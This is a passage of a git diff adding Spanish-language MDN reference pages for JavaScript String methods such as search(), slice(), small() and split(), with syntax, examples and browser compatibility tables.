+<p>El siguiente ejemplo reemplaza los grados Fahrenheit con su enquivalente en grados Celsius. Los grados Fahrenheit deberían ser un número acabado en F. La función devuelve el número Celsius acabado en C. Por ejemplo, si el número de entrada es 212F, la función devuelve 100C. Si el número es 0F, la función devuelve -17.77777777777778C.</p>
+
+<p>La expresión regular <code>test</code> revisa si para un número termina en F. El número de grados Fahrenheit es accesible a la función a través de su segundo parámetro, <code>p1</code>. La función establece el número Celsius basado en los grados Fahrenheit pasados en una cadena a la función <code>f2c</code>. Entonces <code>f2c</code> devuelve el número Celsius. Esta función aproxima al flag de Perl s///e.</p>
+
+<pre class="brush: js">function f2c(x)
+{
+  function convert(str, p1, offset, s)
+  {
+    return ((p1-32) * 5/9) + "C";
+  }
+  var s = String(x);
+  var test = /(\d+(?:\.\d*)?)F\b/g;
+  return s.replace(test, convert);
+}
+</pre>
+
+<h2 id="Vea_También">Vea También</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.match()")}}</li>
+ <li>{{jsxref("RegExp.prototype.exec()")}}</li>
+ <li>{{jsxref("RegExp.prototype.test()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/string/search/index.html b/files/es/web/javascript/referencia/objetos_globales/string/search/index.html
new file mode 100644
index 0000000000..23e37234d1
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/string/search/index.html
@@ -0,0 +1,153 @@
+---
+title: String.prototype.search()
+slug: Web/JavaScript/Referencia/Objetos_globales/String/search
+tags:
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - Regular Expressions
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/search
+---
+<p>{{JSRef("Objetos_globales", "String")}}</p>
+
+<h2 id="Resumen" name="Resumen">Resumen</h2>
+
+<p>El método <code><strong>search() </strong></code>ejecuta una búsqueda que encaje entre una expresión regular y el objeto <code>String</code> desde el que se llama.</p>
+
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>str</em>.search(<em>expresionregular</em>)</pre>
+
+<h3 id="Par.C3.A1metros" name="Par.C3.A1metros">Parámetros</h3>
+
+<dl>
+ <dt>regexp</dt>
+ <dd>Un objeto <a href="/es/docs/Web/JavaScript/Referencia/Objetos_globales/RegExp"> expresión regular</a>. Si se pasa un objeto <code>obj </code>que no sea una expresión regular, se convierte implicitamente en una expresión regualar usando <code>new RegExp(obj)</code>.</dd>
+</dl>
+
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<p>El índice de la primera coincidencia entre la expresión regular y la cadena de texto proporcionada, si no se encuentra devuelve <strong>-1</strong>.</p>
+
+<h2 id="Description" name="Description">Descripción</h2>
+
+<p>Cuando se desee saber en qué casos un patrón se encuentra en una cadena de texto utiliza <code>search()</code> (si sólo deseas saber si existe, utiliza el método {{jsxref("RegExp.prototype.test()", "test()")}} del prototipo de <code>RegExp</code>); para más información (pero de ejecución más lenta) utiliza {{jsxref("String.prototype.match()", "match()")}} (similar al método {{jsxref("RegExp.prototype.exec()", "exec()")}} de las expresiones regulares).</p>
+
+<h2 id="Examples" name="Examples">Ejemplos</h2>
+
+<h3 id="Example:_Using_search" name="Example:_Using_search">Utilizando <code>search()</code></h3>
+
+<p>El siguiente ejemplo imprime un mensaje dependiendo de cuál sea el resultado de la evaluación.</p>
+
+<pre class="brush: js">function testinput(re, str) {
+  var midstring;
+  if (str.search(re) != -1) {
+    midstring = ' contains ';
+  } else {
+    midstring = ' does not contain ';
+  }
+  console.log(str + midstring + re);
+}
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificaciones</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Definición inicial. Implementado en JavaScript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.4.12', 'String.prototype.search')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.search', 'String.prototype.search')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.search', 'String.prototype.search')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome para Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Notas_específicas_de_Gecko">Notas específicas de Gecko</h2>
+
+<ul>
+ <li>Antes de {{Gecko("8.0")}}, <code>search()</code> estaba mal implementado; cuando se invocaba sin parámetros o con {{jsxref("undefined")}}, buscaría coincidencias con la cadena 'undefined' en lugar de la cadena vacía. Esto está corregido; ahora <code>'a'.search()</code> y <code>'a'.search(undefined)</code> devuelven correctamente un 0.</li>
+ <li>Desde Gecko 39 {{geckoRelease(39)}}, el argumento no estándar <code>flags </code>está obsoleto y muestra un aviso en la consola ({{bug(1142351)}}).</li>
+ <li>Desde Gecko 47 {{geckoRelease(47)}}, el argumento no estándar <code>flags</code> no es soportado en compilaciones que no sean lanzamientos y pronto serán eliminadas por completo ({{bug(1245801)}}).</li>
+ <li>Desde Gecko 49 {{geckoRelease(49)}}, el argumento no estándar <code>flags </code>no es soportado ({{bug(1108382)}}).</li>
+</ul>
+
+<h2 id="Vea_Tambi.C3.A9n" name="Vea_Tambi.C3.A9n">Vea también</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.match()")}}</li>
+ <li>{{jsxref("RegExp.prototype.exec()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/string/slice/index.html b/files/es/web/javascript/referencia/objetos_globales/string/slice/index.html
new file mode 100644
index 0000000000..cbfe5a716b
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/string/slice/index.html
@@ -0,0 +1,161 @@
+---
+title: String.prototype.slice()
+slug: Web/JavaScript/Referencia/Objetos_globales/String/slice
+tags:
+  - Cadena
+  - JavaScript
+  - Método(2)
+  - Prototipo
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/slice
+---
+<p>{{JSRef("Objetos_globales", "String")}}</p>
+
+<h2 id="Resumen" name="Resumen">Resumen</h2>
+
+<p>El método <strong><code>slice()</code></strong> extrae una sección de una cadena y devuelve una cadena nueva.</p>
+
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+
+<pre class="eval"><code class="language-html"><em>cadena</em>.slice(<em>inicioTrozo</em>[, <em>finTrozo</em>])</code>
+</pre>
+
+<h3 id="Parameters" name="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>inicioTrozo</code></dt>
+ <dd>El índice basado en cero en el cual empieza la extracción.  Si es negativo, se trata como <code>longCadena + inicioTrozo</code> donde <code>longCadena</code> es la longitud de la cadena (por ejemplo, si <code>inicioTrozo</code> es <code>-3</code> se trata como <code>longCadena - 3</code>)</dd>
+</dl>
+
+<dl>
+ <dt><code>finTrozo</code></dt>
+ <dd>Opcional. El índice basado en cero en el que termina la extracción. Si se omite, <code>slice</code> extrae hasta el final de la cadena.  Si es negativo, se trata como <code>longCadena + finTrozo</code> donde <code>longCadena</code> es la longitud de la cadena (por ejemplo, si <code>finTrozo </code>es <code>-3</code> se trata como <code>longCadena - 3</code>).</dd>
+</dl>
+
+<h3 id="Valor_retornado">Valor retornado</h3>
+
+<p>Una nueva cadena que contiene la sección de la cadena.</p>
+
+<h2 id="Descripci.C3.B3n" name="Descripci.C3.B3n">Descripción</h2>
+
+<p><code>slice</code> extrae el texto de una cadena y devuelve una nueva cadena. Los cambios en el texto de una cadena no afectan a la otra cadena.</p>
+
+<p><code>slice</code> extrae hasta, pero sin incluir <code>finalTrozo</code>. <code>string.slice(1,4)</code> extrae del segundo carácter hasta el cuarto carácter (caracteres con índice 1, 2 y 3).</p>
+
+<p>Si se usa un índice negativo, finalTrozo indica el punto desde el final de la cadena.string.slice(2, -1) extrae desde tercer carácter hasta el último carácter de la cadena.</p>
+
+<h2 id="Ejemplos" name="Ejemplos">Ejemplos</h2>
+
+<h3 id="Ejemplo:_Usando_slice_para_crear_una_nueva_cadena" name="Ejemplo:_Usando_slice_para_crear_una_nueva_cadena">Ejemplo: Uso de <code>slice()</code> para crear una nueva cadena</h3>
+
+<p>El siguiente ejemplo usa <code>slice()</code> para crear una nueva cadena.</p>
+
+<pre class="brush: js">var cadena1 = "La mañana se nos echa encima.";
+var cadena2 = cadena1.slice(3, -2);
+console.log(cadena2);
+</pre>
+
+<p>Esto escribe:</p>
+
+<pre class="eval">mañana se nos echa encim</pre>
+
+<h3 id="Uso_de_slice()_con_índices_negativos">Uso de <code>slice()</code> con índices negativos</h3>
+
+<p>El siguiente ejemplo usa <code>slice()</code> con índices negativos.</p>
+
+<pre>var cad = "La mañana se nos echa encima.";<code>
+cad.slice(-3);     // retorna 'ma.'
+cad.slice(-3, -1); // retorna 'ma'
+cad.slice(0, -1);  // retorna 'La mañana se nos echa encima'</code></pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Definición inicial. Implementado en JavaScript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.4.13', 'String.prototype.slice')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.slice', 'String.prototype.slice')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.slice', 'String.prototype.slice')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Vea_Tambi.C3.A9n" name="Vea_Tambi.C3.A9n">Vea También</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.substr()")}}</li>
+ <li>{{jsxref("String.prototype.substring()")}}</li>
+ <li>{{jsxref("Array.prototype.slice()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/string/small/index.html b/files/es/web/javascript/referencia/objetos_globales/string/small/index.html
new file mode 100644
index 0000000000..a8b2f302fd
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/string/small/index.html
@@ -0,0 +1,38 @@
+---
+title: String.prototype.small()
+slug: Web/JavaScript/Referencia/Objetos_globales/String/small
+tags:
+  - Deprecated
+  - HTML wrapper methods
+  - JavaScript
+  - Method
+  - Prototype
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/small
+---
+<p>{{JSRef("Objetos_globales", "String")}}</p>
+<p>{{deprecated_header}}</p>
+<h2 id="Resumen" name="Resumen">Resumen</h2>
+<p>Causa que una cadena se muestra con una fuente pequeña, como si estuviese dentro de una etiqueta {{HTMLElement("small")}}.</p>
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+<pre class="syntaxbox"><em>cadena</em>.small()</pre>
+<h2 id="Descripci.C3.B3n" name="Descripci.C3.B3n">Descripción</h2>
+<p>Usa el método <code>small</code> para formatear y mostrar una cadena en un documento.</p>
+<h2 id="Ejemplos" name="Ejemplos">Ejemplos</h2>
+<h3 id="Ejemplo:_Usando_m.C3.A9todos_de_string_para_cambiar_el_tama.C3.B1o_de_una_cadena" name="Ejemplo:_Usando_m.C3.A9todos_de_string_para_cambiar_el_tama.C3.B1o_de_una_cadena">Ejemplo: Usando métodos de <code>string</code> para cambiar el tamaño de una cadena</h3>
+<pre class="brush: js">var cadenaMundo="¡Hola mundo!"
+
+console.log(cadenaMundo.small())
+console.log(cadenaMundo.big())
+console.log(cadenaMundo.fontsize(7))
+</pre>
+<p>Este ejemplo produce el mismo resultado que el siguiente código HTML:</p>
+<pre class="brush: html">&lt;small&gt;¡Hola mundo!&lt;/small&gt;
+&lt;big&gt;¡Hola mundo!&lt;/big&gt;
+&lt;fontsize=7&gt;¡Hola mundo!&lt;/fontsize&gt;
+</pre>
+<h3 id="Vea_Tambi.C3.A9n" name="Vea_Tambi.C3.A9n">Vea También</h3>
+<ul>
+ <li>{{jsxref("String.prototype.fontsize()")}}</li>
+ <li>{{jsxref("String.prototype.big()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/string/split/index.html b/files/es/web/javascript/referencia/objetos_globales/string/split/index.html
new file mode 100644
index 0000000000..ade291da0f
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/string/split/index.html
@@ -0,0 +1,240 @@
+---
+title: String.prototype.split()
+slug: Web/JavaScript/Referencia/Objetos_globales/String/split
+tags:
+  - JavaScript
+  - Method
+  - Prototype
+  - Regular Expressions
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/split
+---
+<p>{{JSRef("Objetos_globales", "String")}}</p>
+
+<p>El método <strong><code>split()</code></strong> divide un objeto de tipo <code>String</code> en un array (vector) de cadenas mediante la separación de la cadena en subcadenas.</p>
+
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>cadena</em>.split([<em>separador</em>][,<em>limite</em>])</pre>
+
+<h3 id="Par.C3.A1metros" name="Par.C3.A1metros">Parámetros</h3>
+
+<dl>
+ <dt><code>separador</code></dt>
+ <dd>Especifica el carácter a usar para la separación de la cadena. El <code>separador</code> es tratado como una cadena o como una <a href="/es/docs/Web/JavaScript/Referencia/Objetos_globales/RegExp"> </a>{{jsxref("Objetos_globales/RegExp", "expresión regular", "", 1)}}. Si se omite el <code>separador</code>, el array devuelto contendrá un sólo elemento con la cadena completa.</dd>
+</dl>
+
+<dl>
+ <dt><code>limite</code></dt>
+ <dd>Opcional. Entero que especifica un límite sobre el número de divisiones a realizar. El método <code>split()</code> todavía se divide en todas las concordancias del <code>separador</code>, pero divide la matriz devuelta en la cantidad de elementos impuesta por el <code>limite</code>.</dd>
+</dl>
+
+<h2 id="Descripci.C3.B3n" name="Descripci.C3.B3n">Descripción</h2>
+
+<p>El método <code>split()</code> devuelve el nuevo array.</p>
+
+<p>Cuando se encuentra, el <code>separador</code> es eliminado de la cadena y las subcadenas obtenidas se devuelven en un array. Si el <code>separador</code> no es encontrado o se omite, el array contendrá un único elemento con la cadena original completa. Si el <code>separador</code> es una cadena vacía la cadena es convertida en un array de carácteres.</p>
+
+<p>Si el <code>separador</code> es una expresión regular que contiene paréntesis de captura, entonces cada vez que el <code>separador</code> concuerda, los resultados (incluído cualquier resultado indefinido) de los paréntesis de captura son divididos en el array resultante. Sin embargo no todos los navegadores soportan esta característica.</p>
+
+<p>{{Note("Cuando la cadena está vacía, <code>split()</code> devuelve un array que contiene una cadena vacía, en lugar de un array vacío.")}}</p>
+
+<h2 id="Ejemplos" name="Ejemplos">Ejemplos</h2>
+
+<h3 id="Ejemplo:_Usando_split" name="Ejemplo:_Usando_split">Usando <code>split()</code></h3>
+
+<p>El siguiente ejemplo define una función que divide una cadena en un array de cadenas usando el separador especificado. Después de la división de la cadena, la función muestra mensajes indicando la cadena original (antes de la división), el separador usado, el número de elementos del array y los elementos individuales del array.</p>
+
+<pre class="brush: js">function dividirCadena(cadenaADividir,separador) {
+   var arrayDeCadenas = cadenaADividir.split(separador);
+   document.write('&lt;p&gt;La cadena original es: "' + cadenaADividir + '"');
+   document.write('&lt;br&gt;El separador es: "' + separador + '"');
+   document.write("&lt;br&gt;El array tiene " + arrayDeCadenas.length + " elementos: ");
+
+   for (var i=0; i &lt; arrayDeCadenas.length; i++) {
+      document.write(arrayDeCadenas[i] + " / ");
+   }
+}
+
+var cadenaVerso = "Oh brave new world that has such people in it.";
+var cadenaMeses = "Jan,Feb,Mar,Apr,May,Jun,Jul,Aug,Sep,Oct,Nov,Dec";
+
+var espacio = " ";
+var coma = ",";
+
+dividirCadena(cadenaVerso, espacio);
+dividirCadena(cadenaVerso);
+dividirCadena(cadenaMeses, coma);
+</pre>
+
+<p>Este ejemplo produce el siguiente resultado:</p>
+
+<pre>La cadena original es: "Oh brave new world that has such people in it."
+El separador es: " "
+El array tiene 10 elementos: Oh / brave / new / world / that / has / such / people / in / it. /
+
+La cadena original es: "Oh brave new world that has such people in it."
+El separador es: "undefined"
+El array tiene 1 elementos: Oh brave new world that has such people in it. /
+
+La cadena original es: "Jan,Feb,Mar,Apr,May,Jun,Jul,Aug,Sep,Oct,Nov,Dec"
+El separador es: ","
+El array tiene 12 elementos: Jan / Feb / Mar / Apr / May / Jun / Jul / Aug / Sep / Oct / Nov / Dec /
+</pre>
+
+<h3 id="Ejemplo:_Eliminar_espacios_de_una_cadena" name="Ejemplo:_Eliminar_espacios_de_una_cadena">Eliminar espacios de una cadena</h3>
+
+<p>En el siguiente ejemplo, <code>split</code> busca 0 o más espacios seguidos de un punto y coma seguido por 0 o más espacios y, cuando los halla, elimina los espacios de la cadena. <code>listaNombres</code> es el array devuelto como resultado de la llamada a <code>split</code>.</p>
+
+<pre class="brush: js">var nombres = "Harry Trump ;Fred Barney; Helen Rigby ; Bill Abel ;Chris Hand ";
+document.write(nombres + "&lt;br&gt;" + "&lt;br&gt;");
+var expresionRegular = /\s*;\s*/;
+var listaNombres = nombres.split(expresionRegular);
+document.write(listaNombres);
+</pre>
+
+<p>Esto imprime dos líneas; la primera línea imprime la cadena original, y la segunda línea imprime el array resultante.</p>
+
+<pre>Harry Trump ;Fred Barney; Helen Rigby ; Bill Abel ;Chris Hand
+Harry Trump,Fred Barney,Helen Rigby,Bill Abel,Chris Hand
+</pre>
+
+<h3 id="Ejemplo:_Devolviendo_un_n.C3.BAmero_limitado_de_divisiones" name="Ejemplo:_Devolviendo_un_n.C3.BAmero_limitado_de_divisiones">Devolviendo un número limitado de divisiones</h3>
+
+<p>El el siguiente ejemplo, <code>split</code> busca 0 o más espacios en una cadena y devuelve las tres primeras divisiones que encuentra.</p>
+
+<pre class="brush: js">var miCadena = "Hola Mundo. Cómo estás hoy?";
+var divisiones = miCadena.split(" ", 3);
+
+print(divisiones);
+</pre>
+
+<p>Este script muestra lo siguiente:</p>
+
+<pre>Hola,Mundo.,Cómo
+</pre>
+
+<h3 id="Paréntesis_de_captura" style="font-size: 1.71428571428571rem;">Paréntesis de captura</h3>
+
+<p>Si el separador contiene paréntesis de capturaI los resultados que concuerden son devueltos en el array.</p>
+
+<pre class="brush: js  language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="font-family: Consolas, Monaco, 'Andale Mono', monospace; direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">var</span> miCadena <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="string token" style="color: #669900;">'Hola 1 mundo. Oración número 2.'</span><span class="punctuation token" style="color: #999999;">;</span>
+<span class="keyword token" style="color: #0077aa;">var</span> division <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> miCadena<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">split<span class="punctuation token" style="color: #999999;">(</span></span><span class="regex token" style="color: #ee9900;">/(\d)/</span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span>
+
+console<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">log<span class="punctuation token" style="color: #999999;">(</span></span>division<span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span></code></pre>
+
+<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 0px; background: 0px 0px;"> </div>
+
+<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 19px; background: 0px 0px;"> </div>
+
+<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 38px; background: 0px 0px;"> </div>
+
+<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 57px; background: 0px 0px;"> </div>
+
+<p>Este script muestra lo siguiente:</p>
+
+<pre class="language-html" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-html" style="font-family: Consolas, Monaco, 'Andale Mono', monospace; direction: ltr; white-space: pre;">Hola ,1, mundo. Oración número ,2,.</code></pre>
+
+<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 0px; background: 0px 0px;"> </div>
+
+<h3 id="Dar_la_vuelta_a_una_cadena_usando_split()" style="font-size: 1.71428571428571rem;">Dar la vuelta a una cadena usando <code>split()</code></h3>
+
+<pre class="brush: js  language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="font-family: Consolas, Monaco, 'Andale Mono', monospace; direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">var</span> str <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="string token" style="color: #669900;">'asdfghjkl'</span><span class="punctuation token" style="color: #999999;">;</span>
+<span class="keyword token" style="color: #0077aa;">var</span> strReverse <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> str<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">split<span class="punctuation token" style="color: #999999;">(</span></span><span class="string token" style="color: #669900;">''</span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">reverse<span class="punctuation token" style="color: #999999;">(</span></span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">join<span class="punctuation token" style="color: #999999;">(</span></span><span class="string token" style="color: #669900;">''</span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span><span class="comment token" style="color: #708090;"> // 'lkjhgfdsa'
+</span><span class="comment token" style="color: #708090;">// split() retorna un array en el cual reverse() y join() pueden ser aplicados</span></code></pre>
+
+<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 0px; background: 0px 0px;"> </div>
+
+<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 19px; background: 0px 0px;"> </div>
+
+<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 38px; background: 0px 0px;"> </div>
+
+<p><strong>Extra:</strong> usar el operador <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Identity_.2F_strict_equality_(.3D.3D.3D)">===</a> para verificar si la cadena anterior era un palíndromo.</p>
+
+<h2 id="Specifications" style="margin-bottom: 20px; font-size: 2.14285714285714rem;">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 3rd Edition.</td>
+   <td>Estándar</td>
+   <td>Definición inicial. Implementado en JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.4.14', 'String.prototype.split')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.split', 'String.prototype.split')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_los_navegadores" style="margin-bottom: 20px; font-size: 2.14285714285714rem;">Compatibilidad con los navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table" style="border-color: transparent;">
+ <tbody>
+  <tr>
+   <th style="line-height: 16px;">Característica</th>
+   <th style="line-height: 16px;">Chrome</th>
+   <th style="line-height: 16px;">Firefox (Gecko)</th>
+   <th style="line-height: 16px;">Internet Explorer</th>
+   <th style="line-height: 16px;">Opera</th>
+   <th style="line-height: 16px;">Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table" style="border-color: transparent;">
+ <tbody>
+  <tr>
+   <th style="line-height: 16px;">Característica</th>
+   <th style="line-height: 16px;">Android</th>
+   <th style="line-height: 16px;">Chrome for Android</th>
+   <th style="line-height: 16px;">Firefox Mobile (Gecko)</th>
+   <th style="line-height: 16px;">IE Mobile</th>
+   <th style="line-height: 16px;">Opera Mobile</th>
+   <th style="line-height: 16px;">Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Vea_Tambi.C3.A9n" name="Vea_Tambi.C3.A9n">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.charAt()")}}</li>
+ <li>{{jsxref("String.prototype.indexOf()")}}</li>
+ <li>{{jsxref("String.prototype.lastIndexOf()")}}</li>
+ <li>{{jsxref("Array.prototype.join()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/string/startswith/index.html b/files/es/web/javascript/referencia/objetos_globales/string/startswith/index.html
new file mode 100644
index 0000000000..c658cc80da
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/string/startswith/index.html
@@ -0,0 +1,97 @@
+---
+title: String.prototype.startsWith()
+slug: Web/JavaScript/Referencia/Objetos_globales/String/startsWith
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Method
+  - Prototipo
+  - Prototype
+  - Reference
+  - Referencia
+  - String
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/String/startsWith
+---
+<div>{{JSRef}}</div>
+
+<p>El método <strong><code>startsWith()</code></strong> indica si una cadena de texto comienza con los caracteres de una cadena de texto concreta, devolviendo <code>true</code> o <code>false</code> según corresponda.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-startswith.html")}}</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
